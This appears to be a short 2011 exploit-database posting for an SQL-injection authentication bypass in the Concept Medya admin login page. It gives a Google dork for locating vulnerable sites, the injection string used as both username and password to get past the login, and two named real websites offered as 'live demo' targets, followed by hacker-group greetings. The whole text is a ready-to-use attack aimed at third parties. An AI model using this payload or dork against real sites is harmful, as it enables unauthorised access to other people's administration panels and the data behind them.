# Exploit Title: Concept Medya Admin Auth ByPass
# Date: 13 June 2011
# Author: CriminalCoder {beyz4de.wordpress.com}
# Category: webapps
# Google dork: inurl:login_kontrol.asp
# Tested on: Windows Xp SP3
# Home: spyroot.in & rootarea.com
[+] Default admin panel : http://localhost/login_kontrol.asp
[+] ByPass the admin auth by using
Username : 'or''='
Password : 'or''='
[+] Live Demo ;
[+] http://www.yesilmeninsaat.com/login_kontrol.asp
[+] http://www.davedgroup.com/login_kontrol.asp
Greetz; NosLeeP++ - Redd.é - SanaLTahriP - TechnicaL - TheMirkin
